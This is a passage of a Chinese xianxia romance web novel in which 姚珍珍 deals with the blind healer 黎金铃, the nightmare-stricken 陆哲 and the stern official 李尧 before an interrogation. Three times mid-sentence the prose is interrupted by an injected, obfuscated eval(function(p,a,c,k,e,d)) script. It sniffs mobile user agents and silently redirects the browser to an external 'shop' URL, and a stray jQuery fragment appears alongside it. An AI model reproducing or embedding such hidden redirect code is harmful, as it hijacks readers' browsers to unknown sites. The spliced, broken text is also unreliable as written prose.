姚珍珍:“……”。 她在脑子里捋了一下这位大皇妃的逻辑:她想要与大皇子解契,但是迫于家族压力无法和离,于是想让她与燕鸣臻解契,顺势与家族再谈和离之事,为此不惜怂恿她这个有夫之妇去勾搭……呃。 ……这都什么跟什么,姚珍珍忍不住伸手捏了捏眉心。 “不,殿下,我拒绝。”她的手腕微微用力,挣脱开了对面女子的钳制,身体顺势向后仰,远离了对方所在的范围。 “……白姑娘,你应当知道的,若你与三殿下的流言传出,你将会与那离茵余氏落得相同下场,”见对方拒绝的干脆,盛冉的脸色一下沉了下来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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燕鸣臻目光在她苍老的面容上一扫而过,落在她手中的药膏上。 “我来吧,”他想着侍女伸出手,纤长五指并拢,掌心向上,“你先去休息吧。” 黎金铃发出一声不太满意地哼唧,但他听得出燕鸣臻语气中的不容置疑,因此只是小小的抗议了一下。 侍女局促不安地攥紧了手中药盒,回头看了一眼金娇玉贵的小主人,但没有得到对方的回应。 青年的艺术品般的手依然停在她面前,她踌躇半秒,很快选择了顺从。 “是,殿下。”她将手中药盒交给了他,一步三回头地离开了。 “你很久没有启用这些老人了。”眼见侍女离开,燕鸣臻随手将手中药盒放在了一边,“我布下了隔音结界,你可以说话了。” “……至少这些老人不会想着剜走我的眼睛。”黎金铃声音颤抖着。 48. 痴儿 “……至少这些老人不会想着剜走我的眼睛。”黎金铃声音颤抖着。 青年的手指轻轻一抖,忍不住发出一声嗤笑。 “你笑什么?”少年看不见他的表情,但能听出他笑声中的讥讽,不由得愤怒起来,连基本的礼仪都顾不上,反口便是质问。 好在燕鸣臻也不介意他此刻的失礼,毕竟对于自己这个娇贵的族弟,他一向是宽容的。 “嗯?”他只是轻轻地发出一声质疑。 黎金铃就像个被人扎破了的鱼鳔般泄了气,向后倒了下去,陷进了柔软的被褥中。 “殿下,”少年发髻间缠绕的铃铛随着他的动作叮叮作响,平时听来动听的声音此刻却只让他心烦意乱,他双手捂住耳朵,“他为什么要背叛我呢?” “我从死人堆里救了他,教他修医,让他做我的侍童……”少年的声音由低到高,逐渐激愤,“他却想要剜走我的眼睛!他还杀了莲生!” 身边人的背叛显然出乎了他的意料,黎金铃发泄般的喊完,侧过了头,将脸埋进了枕巾中。 少年纤长的脖颈因为他的动作拉出一条脆弱的线条。 “你被母亲保护得太好了。”燕鸣臻开口道,话一说完,黎金铃还没有反应,他自己却忽然一愣。 ……这话实在是非常熟悉。 青年的眉心蹙起,他想起了许久之前,他也曾说过这句话,只是对着的是另外一个人。 那个人是如何回答的? ——“是的,我被母亲保护着,因为我是她的血脉,那你呢?哥哥,我和你有一半的血是相同的,你为什么不肯让一让我呢?” 青年的手指不受控制的收拢攥紧,即使只是回忆,他依然为此感到十分的不快。 好在黎金铃很快弹坐了起来,叮叮当当的响声中,少年一把拂开脸上凌乱的发丝,神色愤然。 “姑母?姑母最偏心你!”他控诉道,“我本不想来昭华凑这个热闹,你一句话,她就忙忙地把我送来!若不是来了昭华,莲合也不会背叛我——” 燕鸣臻摇摇头,他懒得去听少年接着撒泼,“啪”一声,青年将一个东西随手扔在了他面前被褥上。 “什么东西?”黎金铃的干嚎顿时一停,伸手摸索着拿起了那样东西。 少年雪白柔软的手指在那样东西上抚摩了一会儿,忽然劈手将它扔了出去! “殿下!!”他吓得声音都劈了叉,“这不是那把……那把……” “把你那药童抹了脖子的刀,从白姑娘身上拔出来的,”燕鸣臻的声音简直冷得能结冰,眼睫垂下,眸光落在少年头顶,“摸出来了吗?” 少年一时沉默。 他虽然先天失明,但听觉与触觉敏锐远超常人,刚才只是几下摩挲,他已然察觉出了不对,也是因此才将它扔出。 那柄银质短刀狭窄的刀柄底部,有一个凸起的小小浮雕——是一支裂开的花藤形状,弯绕扭曲着盘成了一个圈。 那是现任魔界之主,应滕的标志。 “你那侍童,从一开始便是应滕派来的细作,我若将你留在东原,你一样要被他剜眼掏心,”青年冷声道,“留着这样一个不轨之徒贴身侍奉,母亲是这样教你驭下的?” 燕鸣臻这话说得严厉,黎金铃却没有反驳,只是蹙起了眉。 他与这位三殿下认识的时间不短,对于对方的脾性颇为了解——他知道这位美得超凡脱俗的族兄其实不似外表那么光风霁月,而是个冷心冷情的铁石心肠。 他实在不会是如此关心自己的性格,更不会为了一个侍从去关心苛责他的什么驭下之道…… 他在问谁?他在训斥的是谁? “……殿下?”少年的白瞳有些疑惑的转动了一下。 燕鸣臻忽然重重地闭了一下眼睛,他脸上懊恼与愤怒的神色随着再一次的睁眼,一下便褪去了。 “你带来那些人,我会重新筛查一遍,”他起身,打算离开,“结束后我会派人送你回东原。” “……” 少年沉默,似乎是接受了这个决定。 但在燕鸣臻推开门打算离开时—— “等等!离开前,我要和那个白郁湄一起!”他忽然大声道。 燕鸣臻回过头,冰冷目光如箭一般刺向帷幔中的少年。 青年的脸颊依然是无可挑剔的完美,肤色白皙得几乎透明,两片浓黑睫羽掀起,露出其下一双夺魂摄魄的眼瞳——这本该是美得让人叹息的一张面孔,但此刻那目光中蕴藏的寒意简直要将人灵魂都冻住,任谁与他对视,都很难撑过半刻。 黎金铃当然也不能。 但他对此已经很有经验了,一边喊着,一边伸手直接将被子拉起扯到了头顶,鸵鸟一般把脑袋埋了起来,选择不与他的目光接触。 “我不管!我要跟她一起!至少她能保护我!”少年声音尖利,透过打开的门扉,远远传了出去。 燕鸣臻的脸色已经完全拉了下来,只看他表情,谁也不会怀疑他是真的想一掌把黎金铃给活活掐死在这里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445601|133989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“……我好像听见有人喊我的名字?”女子的声音在他身后不远处响起。 青年脸上阴沉的脸色倏忽便消失了,他转过头,已然是春风拂面的一张笑靥。 “白姑娘?”青年眉眼弯起,似是十分惊喜,“你们已从灵泉出来了么?感觉可有好些?需要再请医者过来一趟么?” “这府上最好的医者不正在此处么?”盛冉已重新换上了一身雪白的道袍,衣摆处用暗色金线绣着宝相团花的纹样。 “多谢殿下关怀,”在灵泉里与盛冉的一番对话提醒了姚珍珍,作为白郁湄,她的确不应该与燕鸣臻过于熟稔亲密,所以开口先客气了一番,“我的伤已无大碍了。” 听出她话语中的生疏,燕鸣臻眼中光芒不禁黯淡几分,但他还没来得及开口挽回一二,身后屋内又传来少年的声音。 “白郁湄!”伴随着黎金铃的声音,一阵兵荒马乱的响动从燕鸣臻身后传来,似乎是有人打翻了摆满器皿的桌案,姚珍珍确信自己听见了瓷器碎裂的声音。 “哎哟!”伴随着侍女焦急而痛心的声音,赤脚的少年踉跄着一路小跑,出现在了几人的视线中。 “莲合背叛,我身边没有可用之人了,白姑娘,在我离开昭华之前,我要雇你来保护我!” 姚珍珍的目光从他散乱的发髻上一路向下,越过少年高高昂起的下巴,纤细的脖颈与半敞的衣襟,最后落到他踩在地面上的赤裸双足上——他出来得匆忙,打碎了床边一个瓷瓶,碎瓷片割伤了他的小腿,一串殷红血珠交织着顺着少年削直雪白的小腿肚滑落下来。 “……你先把衣服和鞋穿好。”她有点艰难的把目光挪开了,一转头却对上燕鸣臻望过来的目光,顿时心虚地搓了搓藏在衣袖底下的手指。 黎金铃却顾不得许多,他知道如果此刻不将事情敲定,用不上刺客动手,身边这位三殿下首先就要把自己给打包送走了。 “有人想要我的眼睛!白姑娘!”他向前一步,伸手攥住了姚珍珍的一边衣袖,歪着脑袋哀求道,“酬金一切都可再议,我也曾为你诊治,如今我情势危机,你就答应我吧!” “……”姚珍珍不免踌躇,她知晓黎金铃所说是实情,她亲耳听闻那假扮的药童提及要剜走神无目,但她如今还有要事在身,实在没心力去给这娇娇公子当保镖。 黎金铃似乎读懂了她沉默中的拒绝,双唇一撇还要开口。 “金铃,”一只手忽然搭上了他的肩膀,指尖冰凉,让他忍不住身体一颤,“还要胡闹么?” 49. 旧梦 陆哲做了个乱七八糟的梦境。 梦中他正洞房花烛。 满心欢喜地掀开喜床上坐着的那人头顶盖头,陆哲见到的却是女子惨白僵硬的面容。 坐在喜床上的女尸五官秾艳,脸上画着精致的新娘妆,眉心点着金色的花钿,红艳艳的口脂糊在她张开的双唇上,露出空洞洞的口腔里血淋淋的一截肉茬。 是姜敏如。 “啊!”他发出一声惊叫,身体本能地向后退,手中盖头也被随手扔开在一边。 “阿哲,你怎么了?”湄娘的声音忽然响起在他身后,陆哲仿佛抓住了救命稻草一般急急地扭头—— “啪嗒”一声,有黏滑的液体滴到了他的脸上。 而他的身后空无一人。 陆哲伸手抹去脸上的液体,闻到了手指上传来的铁锈味的腥气。 他抬起头,看见了呼唤着他的白郁湄。 是他可怜的、可爱的、羞怯的湄娘……只不过如今被人开了膛,吊在了这洞房花烛的喜房横梁上。 她的眉目依然是动人的,脖子往下的躯体却只留下了空荡荡的皮囊,胸腹中伶仃的白骨羽翼般左右张开,浓稠的血液顺着骨架滴滴答答地向下淌。 她被人掏空了,心肝肾肺全化成了血水,却还不肯死去,还要睁眼看着他。 ……看着他与旁人洞房花烛。 陆哲忽然双手抱头,发出一声痛苦至极的长长惨叫。 仿佛是有人正在将他活活凌迟一般,这叫声如此凄厉尖锐,让刚踏入门内的姚珍珍都禁不住浑身一抖。 【“阿哲!”白郁湄焦急的声音自内府中传来。】 姚珍珍快步上前,伸手就要去将仍在床榻间惨叫着翻滚的青年推醒。 谁想这陆哲深陷梦魇,被她按着肩膀猛摇几下也没醒来,反而神色更加痛苦,姚珍珍甚至听见了他牙关咬合时发出的“咯咯”声响。 跟在她身后进来的黎金铃随即脸色一变,挽起衣袖便走上前来,少年五指并拢如白鹤,细长指间挟着几枚细长灵针。 无须交流,姚珍珍猛然加重了手上力气,死死将陆哲摁住,好让黎金铃能平稳施针。 灌注灵力的银针依次从青年头部几个大穴中走过,黎金铃施针的手法既稳且快,不过片刻,姚珍珍便感觉手中劲力一松——是陆哲紧绷的身体软了下去。 “……是魇住了,”少年轻轻松口气,收回了手,“陆公子,可好些么?” 陆哲转动眼珠,有些迷茫地看向这个形貌昳丽的少年。 “我这是在哪?”他最先问道,而后理智似乎终于回笼,他的目光从茫然逐渐变得痛苦,似乎是昏迷前那血淋淋的场景再次浮现在了他的心头,青年忽然抑制不住地做出一个干呕的动作。 姚珍珍自觉是自己先前一番大开杀戒把人吓着了,因此对他有了几丝愧疚,见他此刻难受,便伸手从一边拿来一个敞口的小痰盂递了过去。 折腾了好一阵子,陆哲总算平静下来,得以正常与她交流。 “我那日本来鲤乐馆中等待,一个穿着剑宗弟子服之人却告诉我你已经到了鲤乐馆,我一时大意,信以为真,开门跟他离开,可他却将我打晕带走……” “之后我被他们掳掠至一处别院,他们对我多次刑讯,反复逼问我与那剑宗首座姚珍珍同船的经历……我实在受不住,只得如实相告,可他们偏偏不信……” 如实相告?姚珍珍眉头一皱,开始在脑内疯狂回忆起来。 陆哲知晓自己如今与白郁湄一体双魂的事情,但他并不认为这个占据他妻子身体的游魂就是姚珍珍,她的身份或许还没有暴露……等等,杀人搜魂对于魔修来说并不是什么难事,毕竟他们可没有所谓戒律狩心,那么,为什么陆哲能够活着回来? ……或者说,他们救回来的这个人,真的还是陆哲吗? 一阵毛骨悚然的感觉忽然窜过她的后背,姚珍珍搁在腰间的手指痉挛般抖了一下。 心蛊一旦种下便无迹无形,难道她还能真的剖开他的胸膛来看么? “他们为何不将你杀了然后搜魂,反而大费周章的拷问?”黎金铃是个毫无顾忌的性子,开口就是直愣愣的要噎死人的问题,但他倒恰好问中了姚珍珍心中疑惑,她便也没有开口阻止。 “……”陆哲显然也被他直白至极的问题给卡住了,一时没能反应过来,片刻后,他脸上涨起几分薄红,显然觉得自己受到了羞辱。 “你!”他颤抖着伸手指向对方,又发现对方似乎是看不见自己动作,遂开口质问,“我乃楠九岛陆氏宗子,怎能被他们随意打杀?你这人怎如此口无遮拦!你……你又是何人?” 姚珍珍伸手,捂住了脸。 天,我怎么会怀疑这个二傻子被人冒名顶替呢,她心想。 这种浑身冒傻气的自大款公子哥,应滕估计也难找出第二个来。 “……他是出身东原黎氏的医者,黎金铃,”姚珍珍无奈地开口介绍道,见对面还是面带茫然,只能又补上一句,“正是这位黎司药方才为你施针驱除了梦魇。” 听完她的话,陆哲脸色骤然一变。 ——他或许不熟悉东原黎氏,但司药二字,便是蛮夷者,也是知其分量的。 从古至今修真界都有一个共识,举凡人族修士,无论修习何种道途,从踏入仙门开始,便只分为了两类,入境者与未入境者——从这种意义上来说,名震天下的剑宗大师姐姚珍珍,与各门派中刚刚学会驭剑通灵的小弟子,实际上是同等境界的修士。 但二者间的差距,岂止天堑可比的? 因此,为了方便区分,人们开始自发的使用一些不成文的标准来对修士们进行区分——刚入境的为“开灵窍”,有所小成称为“知通达”,再往上则是“聚元神”与“生还虚”……而修为臻至陆眉山姚珍珍之流,已然超脱凡身,便可称为“半步仙”。 ……这套说法曾被姚珍珍亲口否认,认为其有失偏颇,但依然在民间流传甚广。 而相比其他修士们模糊的强弱标准,医修们则完全不同,他们有一套非常严苛与详细的考校标准。 从最基础的赤脚医、悬壶士、杏林君……一直到最高级的“典药仙”为止,医修们追寻着古朴而有效的道途,救一人可称医,救十人可称士……救万众苍生者,才可称为仙,为表尊崇,南陆六洲均设有司药一职,专 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“你不肯当我的护卫,那我就跟着你!真要出事了你总要救我的!” 姚珍珍对此倒是无甚意见,左不过是多个拖油瓶而已,她如今与白郁湄共用一具身体,本来就没有什么私人空间,再加一个小跟屁虫也没差,也就听之任之了。 燕鸣臻倒是反应很大,姚珍珍很少看见他如此失控愤怒,只当是黎金铃出身于他的母族,做出如此行为,让他颜面有损,因而恼怒。 盛冉在一边看了一场好戏,有心圆场,只是在场三人对她都没多少尊敬,开口也只是枉然。 好在就在这对族兄弟的对峙即将升级时,侍从前来通传贵客来访,燕鸣臻只得暂时离开,盛冉也借口要事离开。 留下个姚珍珍带着黎金铃这个小尾巴,决定先找被救回的陆哲问问情况。 “应滕不杀你,定然是有所图……”姚珍珍沉吟片刻,没能想出什么头绪,转而问起了另外一事,“定流坡地底洞穴中,那潭弱水深处,究竟有什么?” 她本以为陆哲被掳至地底,又被救回,应当多少对那处有所了解,却没想到对方听了她的问题,面色忽然一白,显然是回忆起了某些可怕的经历。 他没来得及说什么,忽然抱住了手中痰盂,“哇”的一声,呕吐起来。 “……”姚珍珍不由得皱眉。 【“……姐姐,阿哲他如今身体实在不适……”白郁湄与陆哲结发夫妻,此刻见对方身体不适,忍不住便开口劝说。】 “白姑娘,”燕鸣臻的声音忽然响起在门外,“有关此事,陆公子的确所知不多。” “大司宪李尧方才拜访了沧磐府,我正要去玄机处一趟,你可与我同去。” 她闻声回头,合拢的门扉被人推开,最先走进来却不是燕鸣臻。 推门而入的男子身材魁梧,高眉厉目,不怒自威。他不似常人般束发戴冠,而是将满头青丝披散在身后,与一身玄衣融为一体,垂下的右手上带着银色的护手。 “你就是白郁湄?”他开口说话,语调低沉而冰冷。 50. 李尧 这突然闯入的魁梧男子也不待她回话,目光在一览无余的室内迅速扫过,便已然确认了这屋内唯一的女子的身份。 他铅灰色的瞳孔顿时锁定住了女子的身影,眉心紧皱,神色阴沉,配上比常人高大魁梧许多的身材,居高临下望过来时极有压迫感,让人望之便生畏。 姚珍珍倒是没被吓住,只觉得此人突然闯进来,开口就是叱问,实在咄咄逼人。 “我是,阁下又是何人?”她单手按住了身边跃跃欲试要开口的黎金铃,不卑不亢地回答道。 批发的高大男子听见她的回答,微微颔首,正要开口,身后忽然传来一声轻轻的咳嗽声。 “李司宪,何必如此严肃?白姑娘并不是你要提审的犯人。”青年无瑕的面容从他身后出现。 许是为了接见外客,燕鸣臻此刻换上了一身玄端礼服,上衣纯黑,下裳则是猎猎深红,素白熟绢与革料做大带系在腰间,勾勒出一寸劲瘦腰身。 青年浑身衣料皆纯色,并无多余纹绣花样,只在腰间系着一枚韘形翠玉佩,宽袍大袖,行动便难免慢些,这才被那一身猎装的李尧走在了前头。 他甚少穿的这样正式又素简,比之先前的华贵盛装,更有几分截然不同的君子风骨,姚珍珍的目光从前头之人的身上转落到他身上,顿时就挪不动了。 燕鸣臻也注意到了她的眼神,掀起眼皮与她对视一眼,两人目光在半空中纠缠一瞬,又很快分开——主要是姚珍珍面皮薄,怕自己再看就要露馅,先一步错开了视线。 青年发出一声轻笑,音调低沉,撩过她的耳边,让她忍不住抖了抖脑袋。 黎金铃莫名其妙的看了她一眼——他看不见,自然不知道姚珍珍按住自己肩膀的手为何忽然抖了两下。 “白姑娘请勿怪,这位便是如今昭华的大司宪李尧,李司宪此次前来,是为了邀请你与我们同去玄机处,”燕鸣臻侧头示意身边男子,“占据岳婉容身体的净莲教妖女如今已由玄机处收押待审,司宪决定今日对其进行审讯。” “白姑娘,你我一同在秘境中遇见她,也算当事人,因此我提议邀你一同前去观审。” 姚珍珍脸色微微一变。 是了,当日秘境中,除去她与燕鸣臻,被救出的陆哲如今在沧磐府休养,鹿慈应当是被淼淼带去了剑宗,只有留在地底那个戴金冠的女孩,一时事务纷纷,她竟险些忘了! “岳姑娘可还好?”毕竟是故人之女,姚珍珍还是最关心那具身体原本的主人是否能够得救。 “岳婉容神魂如今被净莲教的‘通神冠’所制,若要救她,需得取下金冠,再做打算,”先前一直沉默的高大男子忽然开口,他终于将审视的目光从姚珍珍身上挪开,落在一边少年的头顶,“我听闻黎司药精通医治神魂溃伤,摘取金冠一事,未来或许还需要黎司药襄助。” 他对黎金铃的态度就温和许多,或许是有求于人的原因,说话也是商量的口吻,不复一开始的咄咄逼人。 这是姚珍珍第一次被人如此区别对待,不由得多看了一眼这个形貌格外突出的司宪官。 她本来只是随意扫过对方的面容,却不想忽然注意到了男子额边深黑鬓角下,一块面积并不小的暗红伤疤——仙门中各类金创外伤灵药应有尽有,如此醒目伤痕,若非刻意留下,便是来历特殊了。 姚珍珍眼睛不由得微微眯起。 她认出了那伤疤的来历。 妖王幸黎败退离去后,受人刺杀而死,而临死前,这位据传身负梼杌血统的大妖以全族血脉为祭,向他的仇人们发出了一个极其恶毒的魇咒——所有曾沾染幸黎族群血债之人族,他们自身及生出的孩子都将染上不治之症,肉|体随年岁逐渐扭曲,最终因痛苦死去,怨念久久不散,继续危害人间。 姚珍珍当年也曾被此魇咒侵袭,但还未等发作,时任南纤洲大司药的蒋明玉便已宣布找到了解咒之法……虽然代价惨重,所幸此恶咒最终还是未能酿成大祸。 只是被魇咒附体之人生出的幼儿会在头顶伴有一块血色栀子花形的胎记,无论使用何种灵药,哪怕是将皮肤挖去,这块寄宿着恶咒的印记都无法祛除…… 便如这位李司宪此刻额角伤疤一般。 李尧显然已经习惯了别人注视他脸上伤疤,对姚珍珍的目光也只是微微皱眉,并未多苛责。 论及官位,大司宪与司药本是平级,只是司药官人数稀少,且地位超然,李尧如此态度也算正常。 黎金铃显然也是认得他的,明白此事轻重,此刻也没摆出他惯常的傲慢姿态,而是谨慎地点了点头。 “若有需要,李司宪便遣人至沧磐府寻我便是……”他话说一半,似乎是又想起了什么,忽然一拍脑袋,“倒是忘了,我近日会与这位白姑娘同进出,若要寻我,找她便是。” “嗯?”李尧发出一声略带疑惑的反问,“黎司药竟与此女如此亲近,以至到了要同进退的地步?” 他略微停顿片刻,似是思忖措辞。 “黎氏难道有意为司药求娶此女么?” “……”此话一出,先不提一边燕鸣臻是如何勃然色变,姚珍珍倒是终于体会到了他先前想要一掌捏死黎金铃的羞恼心情,她尴尬地摆摆手,忙不迭否认,“李司宪,事情并非如此,还请慎言……先前黎司药身边随侍药童叛变,他与我都受了些伤,黎司药身边如今暂缺忠心可信之人,所以想我做他几日贴身护卫。” 李尧的眉心顿时蹙起。 “若是如此,我从玄机处调拨些人手与你便是,如此搅扰一个女修,实在不妥。” 眼见黎金铃又要炸毛,姚珍珍赶紧加重了手中力气,死死把对方想说的话摁住了。 “玄机处此前便已出过司宪官修魔之事,又在定流坡中折损不少人手,”燕鸣臻也注意到了姚珍珍按住黎金铃肩膀的手背上暴起的青筋,狭长眼尾随之轻轻一跳,开口道,“我已加派了护卫,此事便不劳司宪再过问了 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玄甲骑应声而动,兽首香炉一角兽耳被覆盖着铁甲的手轻轻一按,“咯嚓”闭上了张开的兽嘴,室内缭绕不散的诡异香气逐渐退去。 半空中银光一闪,是男子将一枚铁质令牌扔给了那玄甲骑。 “带上她,随我来。”他吩咐道,一边转过身。 玄甲骑沉默着点点头,抬手接过令牌,俯身就要替女孩解开枷锁。 她的手上还带着沉重的手甲,一手在甲胄一边的锁扣上一掰,手甲随机卸下,露出里面一只肤色苍白的手。 十指修长,指间带着厚茧,指甲修得极短,几乎贴着指尖的皮肉。 她伸手就要去碰女孩脖颈间的枷锁,指尖寒光在昏暗的囚室内轻微一闪。 只需要一下。 女孩脖颈处的肌肤娇嫩,只需要轻轻一下,利刃划破皮肤与血管,她很快就什么也说不出来了。 四壁悬挂的铜制烛台上,静静燃烧的冷白火焰忽然猛地一颤! 她伸手,利刃就要刺进女孩的脖颈! 一声巨响,玄甲骑士的眼前忽然一花。她只感觉到一阵剧痛从脖颈间传来,再一眨眼,忽然察觉到自己的视线变高了许多。 一只带着银色护臂的手紧紧掐住了她的脖颈,将她生生提了起来! “咯咯……”铁甲也无法保护住脆弱的喉部,李尧的手臂上肌肉隆起,被他掐住的女性玄甲开始不住的挣扎起来,未戴手甲的手中一把小刀随着挣扎的动作在空气中划过道道银光。 “我记得你,吕平灵。”玄甲骑浑身重甲超过百斤,李尧却仿佛毫无压力般单手将人举了起来。 他直视对方隐藏在盔甲之下痛苦扭曲的面容,额角暗红疤痕随着用力而充血跳动,宛如一朵盛开的血色栀子。 “你是什么时候投靠的应滕?” 51. 语盲 姚珍珍正靠在椅背里喝茶。 茶汤金黄,入口还算甘香,她对此研究不多,茶水下肚也尝不出好赖,只觉得干坐着喝茶未免单调,若是能再配上一碟点心就好了。 她脑子里不着边际的念头才刚冒出来,身边忽然传来一声轻轻响动。 姚珍珍扭头一看,刚才还空荡荡的几案上被放了一只团起的油纸包,坚果经过烘烤后散发出的诱人油香正透过半敞的开口散发出来。 燕鸣臻旁若无人般收回右手,端起茶盏尝了一口。 他的眉毛不着痕迹地拧了一下,很快又若无其事地将手中茶盏放下了。 青年的表情变化及其轻微,只是短短一瞬,姚珍珍却很敏锐的捕捉到了。 ……想来是玄机处提供的茶水品质不能满足三殿下那根金尊玉贵的猫舌头了。 她心里冒出这样一句猜测,顿时就觉得对方既娇贵又可爱,面上不由得莞尔一笑,一边伸手从对方拿出的油纸包中捻着炒熟的琥珀核桃仁吃。 “倒是谢谢殿下提供的好茶点,配这好茶。”她咬碎了手里核桃仁表面一层褐色糖衣,眉眼弯弯,故意将话语的重音咬在两个“好”字上,果然不出意外的看见对方皱了皱眉。 青年再次端起茶盏,拧着眉毛尝了一口。 ……然后生无可恋地闭了闭眼。 “玄机处每年采买花费甚巨,却不知都花在何处了……”他低声抱怨一句,抬头看见姚珍珍正撑着下巴含着笑意看自己。 女子面容与从前已是全然不同,只那双眼睛中流露出似曾相识的轻柔笑意,让他好像忽然回到了记忆深处某个晚风微熏的夏夜。 彼时燕鸣臻还在鸣麓山习剑。 他的剑道天赋只能算平平,每日习剑常常力有不逮,一日下来时常手腕酸麻肿胀,连筷子也拿不起来。 师长有意为他减少习剑的时间,燕鸣臻却咬着牙不肯——他那时还很执拗,总不肯在心上人面前示弱。 姚珍珍知晓了此事后,特意领了令牌去了一趟闵安,找人求了生玉髓回来。 燕鸣臻记得那日夏夜,她在飞舞的萤火中拦住他,不由分说地替他揉开淤青,将冰凉的玉髓敷在他的手腕上。 “金尊玉贵,怎么不好好爱惜?”少女的手指是冰凉的,生玉髓是冰凉的,可他却觉得处处滚烫。 她涂完药,抬头看他,眼中是浅浅笑意,似乎是怜,又好像是爱。 彼时的燕鸣臻还会为这两者间的差异而苦恼。 可噩梦一样的七年过去,他已经不会再奢求太多,即使是梦中,她也很少再这样注视他了。 ……燕鸣臻的目光不由得一阵恍惚。 “殿下?”姚珍珍只看见对方忽然眼神迷离,如星般的眼眸中流溢着眷念与笑意,宛如一池被吹起波澜的春潭水,叫人看一眼就要陷落进去。 她不免心中疑惑。我只是开个小玩笑,鸣臻倒也不至于笑得如此……荡漾吧? 两人还在各怀心思地坐着,门外忽然传来了沉重的脚步声。 姚珍珍连忙将懒散的姿态收起,正襟危坐起来,还顺手将膝头上落下的坚果残渣拂落在深黑的赭石地砖上。 燕鸣臻游离的视线也是一凝,春潭揉皱,很快又恢复平静。 姚珍珍理好了自己的仪容,余光一扫,隔着一张几案,青年已变回了那个端庄优雅的三殿下,连衣裳的每一根褶皱都完美得刚刚好。 她嘴角一勾,也坐直了身体。 李尧推开客室的门,看见的便是这一对男女隔着一张几案而坐,姿态板正得像是马上要被送入洞房。 他的脚步一顿,目光冷淡的扫过两张风情迥异的美人面,褐色眼珠轻轻一转,落在两人中间书案上,那个孤零零躺着的油纸包上。 “咳。”姚珍珍也注意到了,一伸手将它拢进手心里,欲盖弥彰的咳嗽了一声。 因为玄机处的审讯室需要准备时间,李尧特意将他们带来这间临时的客室中等待片刻。 但在这地牢里喝喝茶就算了,还要自带点心……实在有点尴尬。 好在这位李司宪并不是多么拘泥于这些微末细节的人,他收回目光,向着燕鸣臻微微颔首。 “三殿下,白姑娘,提审准备已妥当,请随我来吧。”他转身就走,也不管身后之人是何反应。 姚珍珍却忽然一怔。 这位总是面目端肃的大司宪右手带着的银色护手上,金属的接缝间,残留着新鲜的血迹。 他们在此等待不过一刻时间,这位大司宪是对何人动了手? 她稍微侧过脸,看见燕鸣臻也同步向她转过了头。 两人的余光在半空短短一触,燕鸣臻对她轻轻摇了摇头,迈步跟了上去。 *** 提审室。 姚珍珍看着眼前熟悉的孔雀翎屏风,不由得苦笑。 “玄机处是只有这一处审讯室么?”她摇摇头,走向一边侧座,“我已是第二次来此处了,先前那次反体验可不算多好。” 燕鸣臻脚步一顿,眼神轻轻一沉。 “选在此处,是因为还有一位听审人要来。”李尧一边回答,一边快步上前走到主位,随手撩开衣衫下摆,坐了下来。 他的左手在桌上竹筒中几只不同颜色的令牌上划过,捻起一支顶部染成绿色的令牌,手腕轻轻一抖。 依然是熟悉的法阵灵光与隆隆震颤声依次响起,姚珍珍不动声色的向后靠了靠,眼见着李尧身后屏风上,合拢的孔雀翎眼半睁开来。 “李司宪?可是到时辰了?”汤容林的声音从屏风后传来。 姚珍珍顿时恍然。 汤容林作为如今昭华城的主政父母官,此场审讯事关如今城内民生安定,他自然是该来听一听的。 而这间审讯室的阵法连接着汤容林府邸内的书房密室,选在此处确实最方便。 还好,看来这位大司宪不是因为她动手杀了他的未婚妻而有意针对,她在心下轻轻松了口气。 姚珍珍松了口气,屏风后走出来的汤容林却并不轻松。 这位司政官大人早早地便穿戴齐整,遣散了身边仆役,坐在书房枯等许久,连篇的公文都看完了两卷,好容易等到密室内传来阵法运转的响声。 走出来就看见李尧身侧两边客座上,一左一右坐着两尊他并不是很想见的大佛。 “白姑娘,”几乎是本能的,他先朝着一边的姚珍珍点了点头,又转过头看向坐在另一边的燕鸣臻,“三殿下。” 两人几乎同时向他点头回礼。 主座上的李尧的右眼皮微不可察地轻轻一跳。 “汤司政,请就坐吧。”他也不多客套,朝着汤容林颔首示意,另一只手夹住了一枚黑色的令牌。 被捆住的女孩很快出现在四人面前。 她生的纤弱娇小,头顶却戴着硕大的金冠,室内烛火幽幽,那捧臂金莲在火光中映照出耀目的光彩,几乎亮得让人看不清女孩的五官。 主座上的魁梧男子抬手,一道细微风声响起,室内光线顿时一暗——四壁铜制的烛台中,原本暖黄的火焰忽然一跳,焰色由橙红转为了青白。 光线一暗,金冠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13543841|133989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的反光便不再那么刺眼,姚珍珍低头去看那女孩的状态。 只见她仰面躺在正中刑床上,双手被枷锁固定住,双目紧闭,不知是陷入昏迷还是闭目逃避。 姚珍珍有些好奇的看了主座男子一眼。 她生前甚少与玄机处内官吏接触,也并不了解他们的审讯方式。只是若要动刑,此女年幼且不提,如今这妖女所用肉|身乃岳婉蓉所有,若贸然刑求逼供,使其肉|身损毁,恐怕与其父岳黔生不太好交代——明砚宗辖制西崖洲已有数年,势力庞大,岳掌门虽前些年失去一双儿女,但并未一蹶不振,依然奔走四方,在修士中颇有威仪。 